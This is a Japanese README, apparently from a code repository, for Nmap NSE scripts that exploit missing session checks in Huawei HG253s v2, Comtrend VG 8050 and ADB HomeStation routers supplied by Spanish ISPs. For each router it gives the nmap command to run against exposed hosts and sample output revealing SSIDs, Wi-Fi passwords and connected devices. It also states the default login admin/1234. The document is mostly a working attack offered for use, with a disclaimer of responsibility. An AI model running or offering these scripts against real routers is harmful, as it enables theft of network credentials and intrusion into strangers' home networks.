これは何ですか？

ルーターから情報を検索するためのNSEスクリプトです。

このスクリプトの作者はVicenDominguezです。彼はHuaweiの0-Dayを発見しました。私は他の2つのルーター向けに修正しただけです。

このスクリプトの作者は、その使用について一切責任を負いません。

#Huawei HG253s v2 スペインのVodafoneは、スペインの顧客向けに新しいHuawei HG253v2ルーターのレンタルを開始しています。この新しいルーターには新しいファームウェアバージョンが搭載されています。

##脆弱性基本的に、一部の管理WebページでセッションCookieを検証していません。そのため、インターネットに公開されている任意のルーターで、これらのURLから直接情報を取得することが可能です。

##使用方法

nmap --script=http-enum-vodafone-hua253s.nse -p80,443 -sS x.x.x.x

Nmap scan report for x.x.x.x (x.x.x.x)
Host is up (0.34s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-enum-vodafone-hua253s: 
|   SSID: vodafone070 (14:b9:XX:XX:XX:XX) Password: (AES) 123456
|   Device: android-246e67b281179679-Wireless MAC: 48:5A:3F:XX:XX:XX IP: 192.168.0.XX

#Comtrend VG 8050 スペインのTelefonicaは、スペインの顧客向けに新しいComtrend VG 8050ルーターのレンタルを開始しています。この新しいルーターには新しいファームウェアバージョンが搭載されています。このバグはDaniLabsによって発見されました。

##使用方法

nmap --script=http-enum-telefonica-comtrend-vg-8050.nse -p80,443 -sS x.x.x.x

Nmap scan report for x.x.x.x (x.x.x.x)
Host is up (0.34s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-enum-telefonica-comtrend-vg-8050: 
|   SSID: MOVISTAR_XXX
|   Cipher Algorithm: WPA
|   Password WEP: 
|   Password WPA: gTU3NkXE44RYjuM2RrxM
|   Password WPA2: 
|   Device: 192.168.0.X MAC: 5c:97:X:X:X:X IP: 192.168.0.X

#ADB P.DGA4001N a.k.a HomeStation スペインのTelefonicaは、スペインの顧客向けに新しいADB P.DGA4001Nルーターのレンタルを開始しています。この新しいルーターには新しいファームウェアバージョンが搭載されています。このバグはDaniLabsによって発見されました。

デフォルトの認証情報は admin / 1234 です。 ##使用方法

nmap --script=http-enum-telefonica-homestation.nse -p80,443 -sS x.x.x.x

Nmap scan report for x.x.x.x (x.x.x.x)
Host is up (0.34s latency).
PORT    STATE SERVICE
80/tcp  open  http
| http-enum-telefonica-homestation: 
|   SSID: WLAN_HOME
|   Cipher Algorithm: WEP
|   Device: IphonePedro MAC: A8:8E:24:X:X:X IP: 192.168.1.X

scripts-nse

人気